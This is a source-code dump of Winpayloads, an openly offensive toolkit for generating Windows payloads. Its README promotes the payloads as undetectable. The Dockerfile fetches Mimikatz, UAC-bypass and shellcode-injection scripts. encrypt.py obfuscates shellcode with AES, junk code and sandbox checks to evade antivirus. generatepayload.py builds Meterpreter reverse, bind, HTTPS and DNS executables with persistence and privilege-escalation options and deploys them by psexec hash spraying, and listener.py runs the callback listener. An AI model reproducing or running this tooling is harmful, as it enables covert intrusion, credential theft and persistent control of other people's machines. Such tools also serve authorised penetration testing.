├── .gitignore ├── Dockerfile ├── LICENCE ├── README.md ├── WinPayloads.py ├── lib ├── __init__.py ├── encrypt.py ├── generatepayload.py ├── listener.py ├── main.py ├── menu.py ├── payloadextras.py ├── powershell │ └── stager.ps1 ├── preparepayload.py ├── psexec.py ├── sandbox │ ├── powershell │ │ ├── check_all_DLL_names.ps1 │ │ ├── check_all_process_names.ps1 │ │ ├── click_tracker.ps1 │ │ ├── disk_size.ps1 │ │ ├── registry_size.ps1 │ │ ├── user_prompt.ps1 │ │ └── username.ps1 │ └── python │ │ ├── check_all_DLL_names.py │ │ ├── check_all_process_names.py │ │ ├── click_tracker.py │ │ ├── disk_size.py │ │ ├── registry_size.py │ │ ├── user_prompt.py │ │ └── username.py ├── stager.py └── startmetasploit.py └── setup.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | /lib/psexecspray.py 3 | server.crt 4 | server.key 5 | /lib/sockets.py 6 | externalmodules 7 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.7 2 | MAINTAINER CharlieDean 3 | LABEL version="2.0" 4 | LABEL description="Winpayloads Docker in Alpine!" 5 | 6 | ENV WINEARCH=win32 7 | ENV WINEPREFIX=/root/.win32 8 | 9 | RUN echo "x86" > /etc/apk/arch && mkdir -p /root/.win32 && mkdir /root/temp && \ 10 | apk --update add --no-cache ruby ruby-bigdecimal ruby-bundler build-base \ 11 | libpcap-dev zlib-dev sqlite-dev ruby-dev postgresql-dev \ 12 | python2 py-pip git wine python2-dev ncurses linux-headers \ 13 | curl p7zip openssl libffi-dev && \ 14 | 15 | git clone https://github.com/rapid7/metasploit-framework /opt/metasploit && \ 16 | cd /opt/metasploit && \ 17 | bundle install && \ 18 | ln -s /opt/metasploit/msf* /usr/local/bin && \ 19 | cd /root/temp && \ 20 | curl -L -O https://www.python.org/ftp/python/2.7.10/python-2.7.10.msi && \ 21 | wine msiexec /i python-2.7.10.msi TARGETDIR=C:\Python27 ALLUSERS=1 /q && \ 22 | wineserver -w && \ 23 | curl -L -O http://www.voidspace.org.uk/downloads/pycrypto26/pycrypto-2.6.win32-py2.7.exe && \ 24 | 7za -y x pycrypto-2.6.win32-py2.7.exe && \ 25 | curl -L -O https://download.microsoft.com/download/1/1/1/1116b75a-9ec3-481a-a3c8-1777b5381140/vcredist_x86.exe && \ 26 | 7za -y e vcredist_x86.exe && \ 27 | wine msiexec /i vc_red.msi ALLUSERS=1 /q && \ 28 | wineserver -w && \ 29 | curl -L -O https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win32-py2.7.exe && \ 30 | 7za -y x pywin32-224.win32-py2.7.exe && \ 31 | cp -rf PLATLIB/* /root/.win32/drive_c/Python27/Lib/site-packages/ && \ 32 | cp -rf SCRIPTS/* /root/.win32/drive_c/Python27/Lib/site-packages/ && \ 33 | cp -rf SCRIPTS/* /root/.win32/drive_c/Python27/Scripts/ && \ 34 | wine /root/.win32/drive_c/Python27/python.exe /root/.win32/drive_c/Python27/Scripts/pywin32_postinstall.py -install -silent && \ 35 | wineserver -w && \ 36 | git clone https://github.com/pyinstaller/pyinstaller.git /opt/pyinstaller && \ 37 | cd /opt/pyinstaller && \ 38 | wine /root/.win32/drive_c/Python27/python.exe -m pip install --no-cache-dir pywin32-ctypes dis3 pefile altgraph macholib && \ 39 | wine /root/.win32/drive_c/Python27/python.exe setup.py install && \ 40 | wineserver -w && \ 41 | pip install --no-cache-dir pip --upgrade && \ 42 | pip install --no-cache-dir pycrypto ldap3==2.5.1 blessed pyasn1 prompt-toolkit==1.0.15 netifaces requests && \ 43 | git clone https://github.com/CoreSecurity/impacket.git /opt/impacket && \ 44 | cd /opt/impacket && \ 45 | python /opt/impacket/setup.py install && \ 46 | git clone https://github.com/nccgroup/winpayloads.git /opt/winpayloads && \ 47 | cd /opt/winpayloads/lib && \ 48 | curl -O https://raw.githubusercontent.com/Charliedean/PsexecSpray/master/psexecspray.py && \ 49 | cd /opt/winpayloads && \ 50 | mkdir externalmodules && cd /opt/winpayloads/externalmodules && \ 51 | curl -O https://raw.githubusercontent.com/Charliedean/InvokeShellcode1803/master/Invoke-Shellcode.ps1 && \ 52 | sed -i -e 's/Invoke-Shellcode/Invoke-Code/g' Invoke-Shellcode.ps1 && \ 53 | sed -i -e '/<#/,/#>/c\\' Invoke-Shellcode.ps1 && \ 54 | sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Shellcode.ps1 && \ 55 | curl -O https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1 && \ 56 | curl -O https://raw.githubusercontent.com/Charliedean/Invoke-SilentCleanUpBypass/master/Invoke-SilentCleanUpBypass.ps1 && \ 57 | curl -O https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 && \ 58 | curl -O https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 && \ 59 | cd /opt/winpayloads && \ 60 | openssl genrsa -out server.pass.key 2048 && \ 61 | openssl rsa -in server.pass.key -out server.key && \ 62 | openssl req -new -key server.key -out server.csr -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" && \ 63 | openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt && \ 64 | rm server.csr server.pass.key && \ 65 | apk del libpcap-dev zlib-dev sqlite-dev ruby-dev postgresql-dev \ 66 | build-base p7zip libffi-dev linux-headers py-pip python2-dev && \ 67 | rm -rf /root/temp /opt/impacket /opt/metasploit/.git /opt/pyinstaller/.git \ 68 | /root/.cache /var/cache /root/.win32/drive_c/Python27/Lib/test \ 69 | /root/.win32/drive_c/Python27/Lib/site-packages/pip \ 70 | /root/.win32/drive_c/Python27/Lib/site-packages/setuptools \ 71 | /root/.win32/drive_c/Python27/Lib/idlelib 72 | 73 | WORKDIR /opt/winpayloads 74 | 75 | ENTRYPOINT ["python", "./WinPayloads.py"] 76 | -------------------------------------------------------------------------------- /LICENCE: -------------------------------------------------------------------------------- 1 | Apache License 2 | 3 | Version 2.0, January 2004 4 | 5 | http://www.apache.org/licenses/ 6 | 7 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 8 | 9 | 1. Definitions. 10 | 11 | "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. 16 | 17 | "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. 18 | 19 | "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. 20 | 21 | "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. 22 | 23 | "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). 24 | 25 | "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. 26 | 27 | "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." 28 | 29 | "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 30 | 31 | 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 32 | 33 | 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 34 | 35 | 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: 36 | 37 | You must give any other recipients of the Work or Derivative Works a copy of this License; and 38 | You must cause any modified files to carry prominent notices stating that You changed the files; and 39 | You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and 40 | If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. 41 | 42 | You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 43 | 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 44 | 45 | 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 46 | 47 | 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 48 | 49 | 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 50 | 51 | 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. 52 | 53 | END OF TERMS AND CONDITIONS 54 | 55 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Winpayloads - Python2.7 2 | Undetectable Windows Payload Generation with extras Running on Python2.7 3 | 4 | ## As usual, Don't upload payloads to any online virus checkers 5 | - Virus Total Detection - Updated 25/01/2019 - 16/68 Detections 6 | https://www.virustotal.com/#/file/a921ac7540c93bf03a8ed76158b445b5f8780d8f112405811ebbe820c0e3d5c3/detection 7 | 8 | ## For Fully Undetectable Payloads please use the stager functionality [Youtube Video](https://youtu.be/eRl5H5wHqKY) 9 | 10 | ## Docker! 11 | Normal installation is deprecated, Please use docker now. 12 | `docker pull charliedean07/winpayloads:latest` 13 | `docker run -e LANG=C.UTF-8 --net=host -it charliedean07/winpayloads` 14 | 15 | 16 | ## Features 17 | * UACBypass - PowerShellEmpire https://github.com/PowerShellEmpire/Empire/raw/master/data/module_source/privesc/Invoke-BypassUAC.ps1 Copyright (c) 2015, Will Schroeder and Justin Warner. All rights reserved. 18 | * PowerUp - PowerShellEmpire https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 Copyright (c) 2015, Will Schroeder and Justin Warner. All rights reserved. 19 | * Invoke-Shellcode https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1 Copyright (c) 2012, Matthew Graeber. All rights reserved. 20 | * Invoke-Mimikatz https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1 Copyright (c) 2012, Matthew Graeber. All rights reserved. 21 | * Invoke-EventVwrBypass https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1 Matt Nelson (@enigma0x3) 22 | * Persistence - Adds payload persistence on reboot 23 | * Psexec Spray - Spray hashes until successful connection and psexec payload on target 24 | * Upload to local webserver - Easy deployment 25 | * Powershell stager - allows invoking payloads in memory & more 26 | * Anti sandboxing techniques 27 | * Custom shellcode 28 | 29 | ## Check out the Wiki for installation and more! 30 | https://github.com/nccgroup/Winpayloads/wiki 31 | 32 | ![alt tag](https://raw.githubusercontent.com/Charliedean/charliedean.github.io/master/images/2016-02-16%2010_12_29-Kali2%20-%20VMware%20Workstation.png) 33 | 34 | # Video and Information on Blog (OUTDATED) 35 | https://charliedean.github.io 36 | -------------------------------------------------------------------------------- /WinPayloads.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from lib.main import * 3 | from lib.payloadextras import * 4 | from lib.startmetasploit import * 5 | from lib.menu import * 6 | 7 | 8 | try: 9 | from lib.psexecspray import * 10 | except: 11 | print t.bold_red + "[!] Rerun the setup.sh" + t.normal 12 | 13 | if not re.search('winpayloads', os.getcwd().lower()): 14 | print t.bold_red + "[!!] Please Run From Winpayloads Dir" + t.normal 15 | sys.exit(1) 16 | 17 | DIR = os.path.expanduser('~') + '/winpayloads' 18 | if not os.path.isdir(DIR): 19 | os.mkdir(DIR) 20 | 21 | 22 | try: 23 | print t.bold_green + "Checking if up-to-date || ctr + c to cancel" + t.normal 24 | gitrev = subprocess.check_output(['git', 'rev-parse', 'HEAD']).rstrip() 25 | gitlsremote = subprocess.check_output(['git', 'ls-remote', 'origin', 'master']).split()[0] 26 | if gitrev != gitlsremote: 27 | updateornah = raw_input(t.bold_red + "Do you want to update WinPayloads? y/[n]: " + t.normal) 28 | if updateornah.lower() == "y": 29 | p = subprocess.Popen(['git','pull']) 30 | p.wait() 31 | print t.bold_yellow + "Reload Winpayloads..." + t.normal 32 | sys.exit() 33 | except subprocess.CalledProcessError: 34 | print t.bold_red + "[!] No Connection to Github" + t.normal 35 | except KeyboardInterrupt: 36 | pass 37 | 38 | 39 | from lib.listener import StartAsync 40 | async = StartAsync() 41 | async.start() 42 | 43 | try: 44 | getAndRunMainMenu() 45 | except KeyboardInterrupt: 46 | print t.bold_green + '\n[*] Cleaning Up\n' + t.normal 47 | subprocess.call(['rm *.rc'], shell=True, 48 | stdout=subprocess.PIPE, stderr=subprocess.PIPE) 49 | subprocess.call(['rm *.ps1'], shell=True, 50 | stdout=subprocess.PIPE, stderr=subprocess.PIPE) 51 | subprocess.call(['rm logdict*'], shell=True, 52 | stdout=subprocess.PIPE, stderr=subprocess.PIPE) 53 | sys.exit() 54 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/Winpayloads/809c97090fc151ff7c0d1ab602ce06ca28db094b/lib/__init__.py -------------------------------------------------------------------------------- /lib/encrypt.py: -------------------------------------------------------------------------------- 1 | import Crypto.Cipher.AES as AES 2 | import os 3 | import random 4 | import string 5 | import requests 6 | from HTMLParser import HTMLParser 7 | import re 8 | import blessed 9 | 10 | t = blessed.Terminal() 11 | 12 | def randomVar(): 13 | return ''.join(random.sample(string.ascii_lowercase, 8)) 14 | 15 | def randomJunk(): 16 | newString = '' 17 | for i in xrange(random.randint(1, 10)): 18 | newString += ''.join(random.sample(string.ascii_lowercase, random.randint(1, 26))) 19 | return newString 20 | 21 | def getSandboxScripts(sandboxLang='python'): 22 | sandboxScripts = '' 23 | from menu import sandboxMenuOptions 24 | for i in sandboxMenuOptions: 25 | if sandboxMenuOptions[str(i)]['availablemodules']: 26 | payloadChoice = sandboxMenuOptions[str(i)]['payloadchoice'] 27 | if sandboxLang == 'python': 28 | sandboxContent = open('lib/sandbox/python/' + payloadChoice + '.py', 'r').read() 29 | elif sandboxLang == 'powershell': 30 | sandboxContent = open('lib/sandbox/powershell/' + payloadChoice + '.ps1', 'r').read() 31 | 32 | rex = re.search('\*([^\*]*)\*.*\$([^\*]..*)\$', sandboxContent) # Regex is ugly pls help 33 | if rex: 34 | originalString, scriptVariable, variableValue = rex.group(), rex.group(1), rex.group(2) 35 | setVariable = raw_input(t.bold_green + '\n[!] {} Sandbox Script Configuration:\n'.format(payloadChoice) + t.bold_red + '[*] {}? [{}]:'.format(scriptVariable, variableValue) + t.normal) 36 | if setVariable: 37 | try: 38 | int(setVariable) 39 | except: 40 | setVariable = "'{}'".format(setVariable) 41 | variableValue = setVariable 42 | newString = scriptVariable + ' = ' + variableValue 43 | sandboxContent = sandboxContent.replace(originalString, newString) 44 | sandboxScripts += sandboxContent 45 | print sandboxScripts 46 | return sandboxScripts 47 | 48 | 49 | def do_Encryption(payload): 50 | counter = os.urandom(16) 51 | key = os.urandom(32) 52 | 53 | randkey = randomVar() 54 | randcounter = randomVar() 55 | randcipher = randomVar() 56 | 57 | randdecrypt = randomJunk() 58 | randshellcode = randomJunk() 59 | randbuf = randomJunk() 60 | randptr = randomJunk() 61 | randht = randomJunk() 62 | 63 | randctypes = randomJunk() 64 | randaes = randomJunk() 65 | 66 | try: 67 | rawHTML = HTMLParser().unescape(requests.get('http://www.4geeks.de/cgi-bin/webgen.py').text) 68 | randomPython = re.sub('<.*>', '', rawHTML).strip().replace('.','') 69 | except: 70 | print t.bold_red + '[!] No network Connection, random python not generated.' + t.normal 71 | randomPython = 'if __name__ == \'__main__\':' 72 | 73 | 74 | encrypto = AES.new(key, AES.MODE_CTR, counter=lambda: counter) 75 | encrypted = encrypto.encrypt(payload.replace('ctypes',randctypes).replace('shellcode',randshellcode).replace('bufe', randbuf).replace('ptr', randptr).replace('ht',randht)) 76 | 77 | newpayload = "# -*- coding: utf-8 -*- \n" 78 | newpayload += "import Crypto.Cipher.AES as %s \nimport ctypes as %s \n" %(randaes, randctypes) 79 | newpayload += getSandboxScripts('python') 80 | newpayload += randomPython 81 | newpayload += "\n\t%s = '%s'\n"% (randomVar(), randomJunk()) 82 | newpayload += "\t%s = '%s'.decode('hex') \n" % (randkey, key.encode('hex')) 83 | newpayload += "\t%s = '%s'.decode('hex') \n" % (randcounter, counter.encode('hex')) 84 | newpayload += "\t%s = '%s'\n"% (randomVar(), randomJunk()) 85 | newpayload += "\t%s = %s.new(%s , %s.MODE_CTR, counter=lambda: %s )\n" % (randdecrypt, randaes, randkey, randaes, randcounter) 86 | newpayload += "\t%s = %s.decrypt('%s'.decode('hex')) \n" % (randcipher, randdecrypt, encrypted.encode('hex')) 87 | newpayload += "\texec(%s)" % randcipher 88 | return newpayload 89 | -------------------------------------------------------------------------------- /lib/generatepayload.py: -------------------------------------------------------------------------------- 1 | from main import * 2 | from payloadextras import * 3 | from psexecspray import * 4 | from startmetasploit import * 5 | from generatepayload import * 6 | from menu import * 7 | from encrypt import * 8 | from stager import * 9 | 10 | 11 | METASPLOIT_Functions = { 12 | 'reverse': { 13 | 'uacbypass': METASPLOIT().metrev_uac, 14 | 'allchecks': METASPLOIT().metrev_allchecks, 15 | 'persistence': METASPLOIT().metrev_persistence, 16 | 'normal': METASPLOIT().metrev_normal 17 | }, 18 | 'bind': { 19 | 'uacbypass': METASPLOIT().metbind_uac, 20 | 'allchecks': METASPLOIT().metbind_allchecks, 21 | 'persistence': METASPLOIT().metbind_persistence, 22 | 'normal': METASPLOIT().metbind_normal 23 | }, 24 | 'https': { 25 | 'uacbypass': METASPLOIT().methttps_uac, 26 | 'allchecks': METASPLOIT().methttps_allchecks, 27 | 'persistence': METASPLOIT().methttps_persistence, 28 | 'normal': METASPLOIT().methttps_normal 29 | }, 30 | 'dns': { 31 | 'uacbypass': METASPLOIT().metdns_uac, 32 | 'allchecks': METASPLOIT().metdns_allchecks, 33 | 'persistence': METASPLOIT().metdns_persistence, 34 | 'normal': METASPLOIT().metdns_normal 35 | }, 36 | 'nclistener': { 37 | 'nclisten': METASPLOIT().nclisterner, 38 | } 39 | } 40 | def askAndReturnModules(shellcode, metasploit_type): 41 | if metasploit_type == 'nclistener': 42 | return (EXTRAS(shellcode).RETURN_EZ2READ_SHELLCODE(), METASPLOIT_Functions[metasploit_type]['nclisten']) 43 | else: 44 | want_UACBYPASS = raw_input(t.bold_red + '[*] Try UAC Bypass(Only Works For Local Admin Account)?' + t.bold_red + ' y/[n]:' + t.normal) 45 | if want_UACBYPASS.lower() == 'y': 46 | win7orwin10 = raw_input(t.bold_red + '[*] Windows 7 or 10?' + t.bold_red + ' 7/[10]:' + t.normal) 47 | if not win7orwin10: 48 | win7orwin10 = "10" 49 | return (EXTRAS(shellcode).UACBYPASS(win7orwin10), METASPLOIT_Functions[metasploit_type]['uacbypass']) 50 | 51 | want_ALLCHECKS = raw_input(t.bold_red + '[*] Invoke Priv Esc Checks? y/[n]:' + t.normal) 52 | if want_ALLCHECKS.lower() == 'y': 53 | return (EXTRAS(shellcode).ALLCHECKS(), METASPLOIT_Functions[metasploit_type]['allchecks']) 54 | 55 | want_PERSISTENCE = raw_input(t.bold_red + '[*] Persistent Payload on Boot? y/[n]:' + t.normal) 56 | if want_PERSISTENCE.lower() == 'y': 57 | return (EXTRAS(shellcode).PERSISTENCE(), METASPLOIT_Functions[metasploit_type]['persistence']) 58 | 59 | return (EXTRAS(shellcode).RETURN_EZ2READ_SHELLCODE(), METASPLOIT_Functions[metasploit_type]['normal']) 60 | 61 | def GeneratePayload(ez2read_shellcode,payloadname,shellcode): 62 | from menu import clientMenuOptions 63 | if len(clientMenuOptions.keys()) > 2: 64 | from stager import clientUpload 65 | if clientUpload(powershellExec=ez2read_shellcode, isExe=True, json='{"type":"", "data":"%s", "sendoutput":"false", "multiple":"true"}'): 66 | return True 67 | 68 | randoFileName = ''.join(random.sample(string.ascii_lowercase, 8)) 69 | with open('%s/%s.py' % (payloaddir(), randoFileName), 'w+') as Filesave: 70 | Filesave.write(do_Encryption(SHELLCODE.injectwindows % (ez2read_shellcode))) 71 | Filesave.close() 72 | print '[*] Creating Payload using Pyinstaller...' 73 | 74 | p = subprocess.Popen(['wine', os.path.expanduser('~') + '/.win32/drive_c/Python27/python.exe', '/opt/pyinstaller/pyinstaller.py', 75 | '%s/%s.py' % (payloaddir(), randoFileName), '--noconsole', '--onefile'], env=dict(os.environ, **{'WINEARCH':'win32','WINEPREFIX':os.path.expanduser('~') + '/.win32'}), bufsize=1024, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 76 | LOADING = Spinner('Generating Payload') 77 | while p.poll() == None: 78 | LOADING.Update() 79 | time.sleep(0.2) 80 | print '\r', 81 | sys.stdout.flush() 82 | 83 | payloadstderr = p.stderr.read() 84 | if len(sys.argv) > 1: 85 | if sys.argv[1] == "-debug": 86 | sys.stdout.write(payloadstderr) 87 | try: 88 | os.rename('dist/%s.exe' % randoFileName, '%s/%s.exe' % (payloaddir(), randoFileName)) 89 | except OSError: 90 | print t.bold_red + "[!] Error while creating payload..." + t.normal 91 | print payloadstderr 92 | return False 93 | 94 | print t.normal + '\n[*] Payload.exe Has Been Generated And Is Located Here: ' + t.bold_green + '%s/%s.exe' % (payloaddir(), randoFileName) + t.normal 95 | CleanUpPayloadMess(randoFileName) 96 | DoPayloadUpload(randoFileName) 97 | return True 98 | 99 | 100 | def CleanUpPayloadMess(randoFileName): 101 | os.system('rm dist -r') 102 | os.system('rm build -r') 103 | os.system('rm *.spec') 104 | os.system('rm %s/%s.py' % (payloaddir(), randoFileName)) 105 | 106 | def DoPayloadUpload(payloadname): 107 | from menu import returnIP 108 | want_to_upload = raw_input( 109 | '\n[*] Upload To Local Websever or (p)sexec? [y]/p/n: ') 110 | if want_to_upload.lower() == 'p' or want_to_upload.lower() == 'psexec': 111 | DoPsexecSpray(payloaddir() + '/' + payloadname + '.exe') 112 | elif want_to_upload.lower() == 'y' or want_to_upload.lower() == '': 113 | FUNCTIONS().DoServe(returnIP(), payloadname, payloaddir(), port=8000, printIt = True) 114 | -------------------------------------------------------------------------------- /lib/listener.py: -------------------------------------------------------------------------------- 1 | from stager import * 2 | import threading 3 | 4 | amap = {} 5 | 6 | class StartAsync(threading.Thread): 7 | def __init__(self, map=amap): 8 | threading.Thread.__init__(self) 9 | self.setDaemon(True) 10 | self.map = amap 11 | self.started = False 12 | 13 | def run(self): 14 | while True: 15 | if self.started: 16 | asyncore.loop(timeout=0.5, map=self.map) 17 | self.started = False 18 | else: 19 | while not self.map: 20 | time.sleep(0.5) 21 | self.started = True 22 | 23 | 24 | class Handler(asyncore.dispatcher): 25 | def __init__(self, clientconn, server, map): 26 | asyncore.dispatcher.__init__(self, sock=clientconn, map=amap) 27 | self.server = server 28 | self.in_buffer = [] 29 | self.out_buffer = [] 30 | self.user_name = '' 31 | self.is_admin = '' 32 | return 33 | 34 | def handle_close(self): 35 | print t.bold_red + "Client %s Connection Killed"% self.server.get_clientnumber() + t.normal 36 | self.close() 37 | 38 | def readable(self): 39 | return True 40 | 41 | def handle_read(self): 42 | data = self.recv(8000) 43 | if data: 44 | self.in_buffer.append(data) 45 | if '[#check#]' in data: 46 | self.user_name = "User:" + data.split(':')[0].replace('\x00','').replace('[#check#]','') 47 | self.is_admin = "Admin:" + data.split(':')[1].replace('\x00','').replace('[#check#]','') 48 | from menu import clientMenuOptions 49 | clientMenuOptions[self.server.get_clientnumber()] = {'payloadchoice': None, 'payload':str(self.getpeername()[0]) + ":" + str(self.getpeername()[1]), 'extrawork': interactShell, 'params': (self.server.get_clientnumber()), 'availablemodules':{self.user_name: '', self.is_admin: ''}} 50 | self.in_buffer = [] 51 | 52 | def writable(self): 53 | return len(self.out_buffer) > 0 54 | 55 | def handle_write(self): 56 | sent = self.send(self.out_buffer.pop()) 57 | 58 | class Server(asyncore.dispatcher): 59 | want_read = want_write = True 60 | def __init__(self, host, port, bindsocket=False, relay=False, map=amap): 61 | asyncore.dispatcher.__init__(self, map=amap) 62 | self.create_socket(socket.AF_INET, socket.SOCK_STREAM) 63 | self.set_reuse_addr() 64 | self.handlers = {} 65 | self.clientnumber = 0 66 | self.bindsocket = bindsocket 67 | self.relay = relay 68 | self.map = amap 69 | 70 | if self.bindsocket: 71 | self.bind((host, port)) 72 | self.listen(30) 73 | elif self.relay: 74 | self.bind((host, port)) 75 | self.listen(1) 76 | else: 77 | self.connect((host, port)) 78 | 79 | 80 | def writable(self): 81 | return self.want_write 82 | 83 | def readable(self): 84 | return self.want_read 85 | 86 | def handle_connect(self): 87 | self.socket = ssl.wrap_socket(self.socket, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='AES256', do_handshake_on_connect=False) 88 | print '[*] Connection to %s:%s'%(self.socket.getpeername()) 89 | 90 | def _handshake(self): 91 | try: 92 | self.socket.do_handshake() 93 | except ssl.SSLError, err: 94 | self.want_read = self.want_write = False 95 | if err.args[0] == ssl.SSL_ERROR_WANT_READ: 96 | self.want_read = True 97 | elif err.args[0] == ssl.SSL_ERROR_WANT_WRITE: 98 | self.want_write = True 99 | else: 100 | raise 101 | else: 102 | self.clientnumber += 1 103 | handler = Handler(self.socket, self, map=self.map) 104 | self.handlers[self.clientnumber] = handler 105 | 106 | def handle_accept(self): 107 | if self.bindsocket: 108 | self.socket = ssl.wrap_socket(self.socket, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='AES256', server_side=True, certfile='server.crt', keyfile='server.key') 109 | clientconn, address = self.accept() 110 | if clientconn: 111 | print '[*] Connection from %s:%s'%(address) 112 | self.clientnumber += 1 113 | handler = Handler(clientconn, self, map=self.map) 114 | self.handlers[self.clientnumber] = handler 115 | 116 | 117 | def get_clientnumber(self): 118 | return str(self.clientnumber) 119 | 120 | handle_read = handle_write = _handshake 121 | -------------------------------------------------------------------------------- /lib/main.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from __future__ import unicode_literals 3 | import os 4 | import socket 5 | import re 6 | import subprocess 7 | import struct 8 | import sys 9 | import blessed 10 | import random 11 | import SimpleHTTPServer 12 | import SocketServer 13 | import multiprocessing 14 | from Crypto.Cipher import AES 15 | import base64 16 | import string 17 | import glob 18 | import readline 19 | import time 20 | 